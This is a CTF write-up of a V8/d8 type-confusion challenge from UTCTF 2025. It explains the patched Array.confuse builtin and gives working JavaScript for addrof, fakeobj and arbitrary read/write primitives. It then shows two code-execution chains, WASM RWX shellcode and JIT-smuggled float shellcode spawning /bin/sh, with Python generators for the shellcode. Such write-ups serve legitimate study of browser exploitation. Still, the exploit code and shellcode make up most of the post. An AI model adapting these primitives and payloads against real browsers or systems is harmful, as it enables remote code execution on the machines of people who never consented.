Published on

UTCTF 2025 - E-Corp Part 2

Authors
CTFUTCTF 2025 (CTFtime)
AuthorAadhithya
Categorypwn
Solves31
Table of Contents

Challenge description

Last year, your internship at E-Corp (Evil Corp) ended with a working router RCE exploit. Leadership was very impressed. As a result, we chose to extend a return offer. We used your exploit to get a MiTM position on routers around the world. Now, we want to be able to use that MiTM position to exploit browsers to further our world domination plans! This summer, you will need to exploit Chrome!

One of our vulnerability researchers has discovered a new type confusion bug in Chrome. It turns out, a type confusion can be evoked by calling .confuse() on a PACKED_DOUBLE_ELEMENTS or PACKED_ELEMENTS array. The attached poc.js illustrates an example. You can run it with ./d8 ./poc.js. Once you have an RCE exploit, you will find a file with the flag in the current directory. Good luck and have fun!

A first look into the challenge

We can see a few files in the handout. During the CTF, the remote was updated and we received the server.py:

#!/usr/bin/env python3 

import os
import subprocess
import sys
import tempfile

print("Size of Exploit: ", flush=True)
input_size = int(input())
print("Script: ", flush=True)
script_contents = sys.stdin.read(input_size)
with tempfile.NamedTemporaryFile(buffering=0) as f:
    f.write(script_contents.encode("utf-8"))
    print("Running. Good luck! ", flush=True)
    res = subprocess.run(["/d8", f.name], timeout=20, stdout=1, stderr=2, stdin=0)
    print("Done!", flush=True)

We can see that it will ask for the size and content of our exploit. It will then call d8 with our exploit.

NOTE

d8 is the standalone binary of the JavaScript engine V8. V8 is the JavaScript engine of Google Chrome.

Dockerfile

FROM ubuntu:20.04

RUN apt-get update
RUN apt-get update && apt-get install -y build-essential socat libseccomp-dev python3

ARG FLAG
ENV FLAG $FLAG

WORKDIR /
COPY start.sh /start.sh
RUN chmod 755 /start.sh
COPY d8 /d8
RUN chmod 755 /d8
COPY snapshot_blob.bin /snapshot_blob.bin
RUN chmod 755 /snapshot_blob.bin
COPY server.py /server.py
RUN chmod 755 /server.py

# random flag filename
RUN FLAG_FILE=$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32); \
    echo $FLAG > $FLAG_FILE; \
    chmod a=r $FLAG_FILE; \
    unset FLAG_FILE

EXPOSE 9000

CMD ["/start.sh"]

The flag name will be random, so we need to get RCE.

start.sh

#!/bin/bash

while [ true ]; do
	su -l $USER -c "socat -dd TCP4-LISTEN:9000,fork,reuseaddr EXEC:'/server.py',pty,echo=0,rawer,iexten=0"
done;

This will call the server.py with socat.

We can see the revision. It's from June 2024. The version of d8 is 12.8.0.

There is also a file called args.gn.

# Build arguments go here.
# See "gn args <out_dir> --list" for available build arguments.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false

These are the arguments that will be used when compiling d8. We can see that the V8 sandbox is disabled. So we don't need to escape the sandbox.

Analyzing the patch to understand the vulnerability

We are also given a patch file and a poc.js.

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..3af3bea5725 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -1589,5 +1589,44 @@ BUILTIN(ArrayConcat) {
   return Slow_ArrayConcat(&args, species, isolate);
 }
 
+// Custom Additions (UTCTF)
+
+BUILTIN(ArrayConfuse) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Invalid type. Must be a JSArray.")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind == PACKED_ELEMENTS) {
+    DirectHandle<Map> map = JSObject::GetElementsTransitionMap(
+        array, PACKED_DOUBLE_ELEMENTS);
+    {
+      DisallowGarbageCollection no_gc;
+      Tagged<JSArray> raw = *array;
+      raw->set_map(*map, kReleaseStore);
+    }
+  } else if (kind == PACKED_DOUBLE_ELEMENTS) {
+    DirectHandle<Map> map = JSObject::GetElementsTransitionMap(
+        array, PACKED_ELEMENTS);
+    {
+      DisallowGarbageCollection no_gc;
+      Tagged<JSArray> raw = *array;
+      raw->set_map(*map, kReleaseStore);
+    }
+  } else {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Invalid JSArray type. Must be an object or float array.")));
+  }
+
+  return ReadOnlyRoots(isolate).undefined_value();
+}
+
 }  // namespace internal
 }  // namespace v8
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..872db196d15 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -426,6 +426,8 @@ namespace internal {
   CPP(ArrayShift)                                                              \
   /* ES6 #sec-array.prototype.unshift */                                       \
   CPP(ArrayUnshift)                                                            \
+  /* Custom Additions (UTCTF) */                                               \
+  CPP(ArrayConfuse)                                                            \
   /* Support for Array.from and other array-copying idioms */                  \
   TFS(CloneFastJSArray, NeedsContext::kYes, kSource)                           \
   TFS(CloneFastJSArrayFillingHoles, NeedsContext::kYes, kSource)               \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 9a346d134b9..99a2bc95944 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1937,6 +1937,9 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtin::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    // Custom Additions (UTCTF)
+    case Builtin::kArrayConfuse:
+      return Type::Undefined();
 
     // ArrayBuffer functions.
     case Builtin::kArrayBufferIsView:
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..95340facaad 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,53 +3364,10 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
 
   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write",
-                       FunctionTemplate::New(isolate, WriteStdout));
-  if (!i::v8_flags.fuzzing) {
-    global_template->Set(isolate, "writeFile",
-                         FunctionTemplate::New(isolate, WriteFile));
-  }
-  global_template->Set(isolate, "read",
-                       FunctionTemplate::New(isolate, ReadFile));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
-    global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
-  }
-  global_template->Set(isolate, "testRunner",
-                       Shell::CreateTestRunnerTemplate(isolate));
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-
-  // Prevent fuzzers from creating side effects.
-  if (!i::v8_flags.fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
-
-  if (i::v8_flags.expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
 
   return global_template;
 }
@@ -3719,10 +3676,12 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }
 
+	/*
   isolate->SetHostImportModuleDynamicallyCallback(
       Shell::HostImportModuleDynamically);
   isolate->SetHostInitializeImportMetaObjectCallback(
       Shell::HostInitializeImportMetaObject);
+	*/
   isolate->SetHostCreateShadowRealmContextCallback(
       Shell::HostCreateShadowRealmContext);
 
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..ceb2b23e916 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2571,6 +2571,9 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           false);
     SimpleInstallFunction(isolate_, proto, "join", Builtin::kArrayPrototypeJoin,
                           1, false);
+    // Custom Additions (UTCTF)
+    SimpleInstallFunction(isolate_, proto, "confuse", Builtin::kArrayConfuse,
+                          0, false);
 
     {  // Set up iterator-related properties.
       DirectHandle<JSFunction> keys = InstallFunctionWithBuiltinId(

poc.js:

let a = ["hi", "bye"];
console.log(a);
a.confuse();
console.log(a);
a.confuse();
console.log(a);

We can see that the builtins are removed to prevent any unintended solutions. The challenge adds an extra function called confuse, which is defined in builtins-array.c.

if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
  THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
  factory->NewStringFromAsciiChecked("Invalid type. Must be a JSArray.")));
}

It first checks if the type is equal to JSArray when we call the confuse function. So, we need to work with Arrays.

Handle<JSArray> array = Cast<JSArray>(receiver);
ElementsKind kind = array->GetElementsKind();

if (kind == PACKED_ELEMENTS) {
  DirectHandle<Map> map = JSObject::GetElementsTransitionMap(
      array, PACKED_DOUBLE_ELEMENTS);
  {
    DisallowGarbageCollection no_gc;
    Tagged<JSArray> raw = *array;
    raw->set_map(*map, kReleaseStore);
  }
} else if (kind == PACKED_DOUBLE_ELEMENTS) {
  DirectHandle<Map> map = JSObject::GetElementsTransitionMap(
      array, PACKED_ELEMENTS);
  {
    DisallowGarbageCollection no_gc;
    Tagged<JSArray> raw = *array;
    raw->set_map(*map, kReleaseStore);
  }
} else {
  THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
    factory->NewStringFromAsciiChecked("Invalid JSArray type. Must be an object or float array.")));
}

The function will then take the array and check the type of its elements. As we read in the description of the challenge, these are PACKED_DOUBLE_ELEMENTS and PACKED_ELEMENTS.

If the element kind is PACKED_ELEMENTS, it will change the map to PACKED_DOUBLE_ELEMENTS. The same applies if it’s PACKED_DOUBLE_ELEMENTS; it will change it to PACKED_ELEMENTS.

NOTE

map is a key data structure in v8. You can read more about it here in Chapter 1.2.

Let's run poc.js: img

We can see that it first prints the array, then calls confuse and prints it again. Finally, it calls confuse once more, and we see the normal value again. After the first confuse, we see float values instead of the normal text.

Let's see what happens in d8. We can add %DebugPrint() to print additional information about an object.

let a = ["hi", "bye"];
console.log(a);

%DebugPrint(a);
a.confuse();
console.log(a);
%DebugPrint(a);

To enable %DebugPrint(), we need to add a flag when running d8. So, we run it as: ./d8 --allow-natives-syntax poc.js.

img

We can see the type of the map—it’s PACKED_ELEMENTS. The elements are stored in a FixedArray, which also has PACKED_ELEMENTS as its type. This is how the object is normally represented. When we call confuse, it changes the map to PACKED_DOUBLE_ELEMENTS.

img

This will interpret the elements as double elements, meaning they will be printed as floats. This is called type confusion.

Pwning

Setup

Before we start exploiting, I added a few helper functions that will be useful later:

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); 
}

function itof(val) { 
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

function itof64(val_low, val_high) { 
    var lower = Number(val_low);
    var upper = Number(val_high);
    u64_buf[0] = lower;
    u64_buf[1] = upper;
    return f64_buf[0];
}

function toHex(value) {
    return "0x" + value.toString(16);
}

ftoi stands for float to integer (BigInt), and itof stands for integer (BigInt) to float. itof64() is used for 64-bit addresses. toHex converts values to hexadecimal format.

To debug with GDB, I use:

from pwn import *

exe = "./d8"
elf = context.binary = ELF(exe, checksec=True)
context.clear(arch="amd64")
context.log_level = "info"
context.terminal = ["tmux", "splitw", "-h"]

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript = """
c
"""

io = start(['--allow-natives-syntax', '/home/pwn/Documents/utctf/poc.js'])


io.interactive()

This will run d8 with our exploit script and attach GDB.

NOTE

Keep in mind that I use the lower 32 bits in my exploit. This is because V8 implements pointer compression, as explained here. When debugging inside GDB, remember to subtract 1. This is due to pointer tagging, which differentiates between an SMI and a pointer. It's explained here

Addrof/fakeobj primitive

Most of the time, when exploiting a JavaScript engine, we want the primitives addrof and fakeobj.

With addrof, you can leak the address of an object. With fakeobj, you can create a fake object, allowing you to control it using two variables.

Let's start with addrof.

Addrof primitive

We know that if we call confuse, it will change the map. So, what if we create an array of PACKED_ELEMENTS and then call confuse on it? It will print the values as floats.

let a = ["A", "B"];
let b = [1.1, 1.2, 1.3];

%DebugPrint(a);
a.confuse();
%DebugPrint(a);
console.log(toHex(ftoi(a[0])));
img

We can see in the first %DebugPrint that the elements have two values pointing to the strings 'A' and 'B'. If we call confuse, they will be interpreted as floats:

img

So, when we take the value, convert it to an integer, and print it as hex with console.log(toHex(ftoi(a[0])));, we get the same value as seen in the first %DebugPrint. This way, we can leak addresses. Let's create a function and test if it works:

let a = ["A", "B"];

function addrof(in_obj){
	a[0] = in_obj
	a.confuse();
	let ret = ftoi(a[0]) & 0xffffffffn;
	a[0] = "A";
	a.confuse();
	return ret;
}

We can then create a random array, call addrof on it, and compare it with the output from %DebugPrint:

let b = [1.1, 1.2, 1.3];

let b_addr = addrof(b);
console.log(toHex(b_addr));
%DebugPrint(b);
img

Here, we can see that we successfully leaked the address of the object.

Fakeobj primitive

With the fakeobj primitive, we want to create a fake object from another object. This means that if we can gain control over an object, we can modify the object itself.

How can we achieve this? When we create a float array, its kind will be PACKED_DOUBLE_ELEMENTS. A float array consists of float values. If we call confuse on it and change the kind to PACKED_ELEMENTS, it will interpret the values as objects.


let test = [1.1, 1.2, 1.3, 1.4, 1.5];

%DebugPrint(test);
test.confuse();
%DebugPrint(test);

It will crash at the latter %DebugPrint if we run this. This is because it will try to access it as an object.

img

If we check where it crashes in GDB, we see that it crashes at a mov instruction. It tries to move a value from r12-0x1 to eax.

img img

We can see that it took the float value as an address. Since this address is not valid, it crashes. So, what if we use a valid address instead?

let test = [1.1, 1.2, 1.3, 1.4, 1.5];
let test2 = {"A":1337};

%DebugPrint(test2);

test[0] = itof(addrof(test2));
test.confuse();

%DebugPrint(test);
img

We can see that it points to the same object. Now, we can take the object and assign it to a variable. This way, we will have two variables pointing to the same object.

let test = [1.1, 1.2, 1.3, 1.4, 1.5];
let test2 = {"A":1337};

test[0] = itof(addrof(test2));
test.confuse();

let fake = test[0];

console.log(test2["A"]);
console.log(fake["A"]);

test2["B"] = 1;
console.log(fake["B"]);

fake["B"] = 4444;
console.log(test2["B"]);
img

We can see that changing the value of one variable is reflected in the other. This means we have successfully faked an object by using its address.

To achieve this, we store the address as a float in an array. By then changing the map to PACKED_ELEMENTS, the value is interpreted as an object instead.

This technique is known as the fakeobj primitive. Now, let's create a function:

function fakeobj(addr){
	let f_arr = [1.1, 1.2, 1.3, 1.4, 1.5];
	f_arr[0] = itof(addr);
	f_arr.confuse();
	let fake = f_arr[0];
	return fake;
}

Arbitrary read and write

With the addrof and fakeobj primitives, we can achieve arbitrary read and write access to the entire isolate (V8 heap). We are working with 32-bit addresses, so we can only access the V8 heap region.

The first 4 words of an array in V8 look like this:

map | properties | elements | length
img

The length is stored as an SMI. The value is shifted to the left by 1 in memory.

When we access an element of the array, the engine will use the elements pointer to find the elements. The same applies when writing. So, if we can control the elements pointer, we can read and write anywhere we want.

I will do this by faking an object in memory.

let test = [1.1, 1.2];
let fake_array_map = [itof(0x31040404001c0201n), itof(0x0a0007ff11000844n), itof(0x001cb82d001cb1c5n), itof(0x00000735001cb7f9n)];

let fake_obj = [itof64(addrof(fake_array_map)+0x44n, 0), itof64(addrof(test)-0x18n, 0x8)];
let fake = fakeobj(addrof(fake_obj)+0xa0n);

I first created a dummy float array. Then, I created a fake map. The value of the fake map can be found in GDB. This value will be placed in the array fake_array_map. The offset to the map is 0x44:

img

The properties can be set to 0. I set the length to something random. The map is of PACKED_DOUBLE_ELEMENTS because I faked the map with a float array map. The elements pointer will point to the address we want to read or write to. This fake object is placed in the array fake_obj. We then find the offset and create a fakeobj of it.

img

Here, we can see that it points to our fake object. Now, when we create a fakeobj of it, we can read or write to the address. In this example, I used addrof(test) - 0x18n. This is because I pointed it to the elements of the test array. This way, I can read/write there.

In the arbRead/arbWrite functions, I don't need the offset. We will directly provide the address where we want to read/write. The functions are like this:

let fake_array_map = [itof(0x31040404001c0201n), itof(0x0a0007ff11000844n), itof(0x001cb82d001cb1c5n), itof(0x00000735001cb7f9n)];

function arbRead(addr) {
    if (addr % 2n == 0)
        addr += 1n;

	let fake_obj = [itof64(addrof(fake_array_map)+0x44n, 0), itof64(addr, 0x8)];
    let fake = fakeobj(addrof(fake_obj)+0x90n);
    
    return ftoi(fake[0]);
}

function arbWrite(addr, value) {
    if (addr % 2n == 0)
        addr += 1n;

    let fake_obj = [itof64(addrof(fake_array_map)+0x44n, 0), itof64(addr, 0x8)];
    let fake = fakeobj(addrof(fake_obj)+0x90n); 

    fake[0] = itof(value);
}

In arbRead, I return the value of fake[0]. In arbWrite, I set the value of fake[0]. Let's see how we can read and write:

let fake_array = [1.1, 1.2, 1.3, 1.4];
arbWrite(addrof(fake_array), 0x4141414141414141n);
console.log(toHex(arbRead(addrof(fake_array))));
%DebugPrint(fake_array);
img img

We can see that we successfully overwrote the elements and length of the fake_array. We notice that we are writing at addr + 8. So, we need to keep in mind to subtract 8.

Get a shell

With arbitrary read and write, we can write anywhere we want in the isolate. Since we know the sandbox is disabled, we don’t need to perform a sandbox escape. I will explain two ways to get RCE.

Let’s first start with WASM.

Wasm to RCE

Let’s create a test .wat file with a random function:

(module
  (func (export "main") (result i32)
    i32.const 42
  )
)

We can compile this with wat2wasm. Then, we can run xxd -i test.wasm to get the hex values of the WASM code.

let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60,
    0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x07, 0x08, 0x01, 0x04, 0x6d,
    0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x06, 0x01, 0x04, 0x00, 0x41, 0x2a,
    0x0b]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;

console.log(f());

If we run this, it will print 42. To execute this, V8 creates an RWX region. If we can somehow leak the address of the RWX region, we can write shellcode there and execute it.

Let’s debug print wasm_instance.

img

We can see trusted_data. If we check in GDB what we can find in trusted_data, we can locate the base address of the RWX region:

img img
let wasm_inst_addr = addrof(wasm_instance);
let trusted_data_ptr = wasm_inst_addr + 0xcn;
let trusted_data = arbRead(trusted_data_ptr - 0x8n) & 0xffffffffn;

console.log("Wasm instance address: " + toHex(wasm_inst_addr));
console.log("Trusted data pointer: " + toHex(trusted_data_ptr));
console.log("Trusted data: " + toHex(trusted_data));

var rwx_ptr = trusted_data + 0x28n - 1n;
var rwx_base = arbRead(rwx_ptr);
console.log("RWX pointer: " + toHex(rwx_ptr));
console.log("RWX base address: " + toHex(rwx_base));

Now that we’ve leaked the RWX region address, we need to find a way to write there. An easy way to do this is by creating an ArrayBuffer with a DataView.

When we create an ArrayBuffer, V8 will internally create a backing store to hold the values. If we create a DataView on the buffer, we can read and write to the backing store. If we overwrite the backing store address of the ArrayBuffer, we can write anywhere using the DataView.

let test = new ArrayBuffer(0x100);
let dataview = new DataView(test);
   
%DebugPrint(test);
img

So, we can create this function to copy the shellcode to the RWX region:

function copy_shellcode(addr, shellcode) {
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x24n-8n;

    arbWrite(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
	    dataview.setUint32(4*i, shellcode[i], true);
    }
}

I made this script to generate the shellcode:

from pwn import asm, context, shellcraft

context.arch = 'amd64'
context.os = 'linux'

shellcode = asm('nop') * 8
shellcode += asm(shellcraft.sh())

formatted_shellcode = [
    "0x" + shellcode[i:i+4][::-1].hex() for i in range(0, len(shellcode), 4)
]

formatted_shellcode = [
    code.ljust(10, '0') if len(code) < 10 else code for code in formatted_shellcode
]

print("var shellcode = [" + ", ".join(formatted_shellcode) + "];")

We can add the code to our script like this:

var shellcode = [0x90909090, 0x90909090, 0xb848686a, 0x6e69622f, 0x732f2f2f, 0xe7894850, 0x01697268, 0x24348101, 0x01010101, 0x6a56f631, 0x01485e08, 0x894856e6, 0x6ad231e6, 0x050f583b];
console.log("[+] Copying Shellcode...");
copy_shellcode(rwx_base, shellcode);
console.log("[+] Running Shellcode...");

f();

After overwriting, we can call the exported function f. This will trigger our shellcode.

Local: img
Remote: img

For some reason, it doesn’t work remotely. I tried different shellcodes. The backing store overwrite and the leak of the RWX region are correct. It crashes when writing via DataView. Because of this crash, I had to change my approach to get a shell.

NOTE

In the Discord server of UTCTF, Erge mentioned that it depends on the CPU. The remote probably used a CPU that supports pkey, which prevents writing to WASM RWX regions.

Jit to RCE

During the CTF, my teammate solved the challenge like this. Instead of using WASM, we can use the JIT to create the RWX region with our shellcode inside. If a function becomes 'hot' in V8, it will be optimized by the JIT engine. Depending on how many times it's called, it will trigger either Turbofan or Maglev. If we create a function that returns our shellcode, it will also be placed in a RWX region because it needs to execute it.

First, we need to create the shellcode.

 const shell = () => { 
     return [ 2261634.5098039214, 156842099844.51764 ];
 };
 
 for (let i=0; i<999999; i++) { 
     shell();
 };
 
 %DebugPrint(shell);
 %SystemBreak();

I made this function that returns 0x4141414141414141 and 0x4242424242424242 as floats. Let’s see how it looks in memory once it gets optimized.

img img img

We can use GDB to find it inside an RWX region. If we check the assembly, we can see that it calls movabs to r10. We notice that the values have some distance between each other. We need to create shellcode that jumps to the next 8 bytes of shellcode.

img img

We can see that we have 6 bytes for shellcode and 2 bytes for a jump. The distance for the jump is 14 (0xe). These are 12 bytes, plus 2 for the jump itself. So, we need to use this in our generate script. This way, we can execute our shellcode.

Let’s use this script to generate the shellcode:

from pwn import *

context.arch = "amd64"
jmp = b'\xeb\x0c'

#print(disasm(jmp))

def print_double(shellcode):
    if len(shellcode) <= 6:
        chain = shellcode.ljust(6,b'\x90')
        chain += jmp
        print(f"itof({hex(u64(chain))}n);")
    else:
        print("max 6 bytes only")
        exit()

print_double(asm("xor rdi, rdi; push rdi; push rdi; push rdi"));
print_double(asm("pop rsi; pop rdx; pop rdi; mov rdi, rsp"));
print_double(asm(f"mov byte ptr [rdi], {ord('/')}"));
print_double(asm(f"mov byte ptr [rdi+1], {ord('b')}"));
print_double(asm(f"mov byte ptr [rdi+2], {ord('i')}"));
print_double(asm(f"mov byte ptr [rdi+3], {ord('n')}"));
print_double(asm(f"mov byte ptr [rdi+4], {ord('/')}"));
print_double(asm(f"mov byte ptr [rdi+5], {ord('s')}"));
print_double(asm(f"mov byte ptr [rdi+6], {ord('h')}"));
print_double(asm(f"mov byte ptr [rdi+7], 0x0"));
print_double(asm(f"push 0x3b; pop rax; syscall"));

And this to convert:

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    console.log(f64_buf[0]+",");
    return f64_buf[0];
}

itof(0xceb575757ff3148n);
itof(0xcebe789485f5a5en);
itof(0xceb9090902f07c6n);
itof(0xceb9090620147c6n);
itof(0xceb9090690247c6n);
itof(0xceb90906e0347c6n);
itof(0xceb90902f0447c6n);
itof(0xceb9090730547c6n);
itof(0xceb9090680647c6n);
itof(0xceb9090000747c6n);
itof(0xceb90050f583b6an);

We can now put this inside the shell function:

const shell = () => { 
    return [ 1.957153445933527e-246, 1.9711832695973434e-246, 1.9711828972663056e-246, 1.9711827004344125e-246, 1.9711827302878254e-246, 1.971182751616449e-246, 1.9711824831022323e-246, 1.9711827729617224e-246, 1.9711827260920306e-246, 1.971182282819631e-246, 1.9710306750501128e-246, ];
};

for (let i=0; i<999999; i++) { 
    shell();
};

%DebugPrint(shell);
img

We can see a code pointer for this function object. It's optimized by Turbofan.

img

At offset 0x14 from the code pointer, we can find the address of the RWX region. We can then check where our shellcode starts and calculate the distance between the RWX address and the start of our shellcode that we found earlier. If we set a breakpoint on the RWX address that we leaked and call shell, we see that it calls the address. So, if we change this to the address where our shellcode is stored, we can achieve RCE.

let shell_func_addr = addrof(shell);
let code_ptr = arbRead(shell_func_addr+12n) & 0xffffffffn;
console.log("Shell function address: " + toHex(shell_func_addr));
console.log("Code pointer address: " + toHex(code_ptr));

let rwx_addr = arbRead(code_ptr + 0x14n);
let shellcodeaddr = (rwx_addr +0x5cn);
console.log("Rwx address: " + toHex(rwx_addr));
console.log("Shellcode address: " + toHex(shellcodeaddr));

arbWrite(code_ptr+0x14n, shellcodeaddr);
shell();

NOTE

I updated the arbitrary read and write functions in the JIT exploit. The functions from the WASM exploit didn't work, probably due to the garbage collector.

Local: img
Remote: img

The full solve script can be found here and here.

Feel free to dm me if there is any mistakes in this post.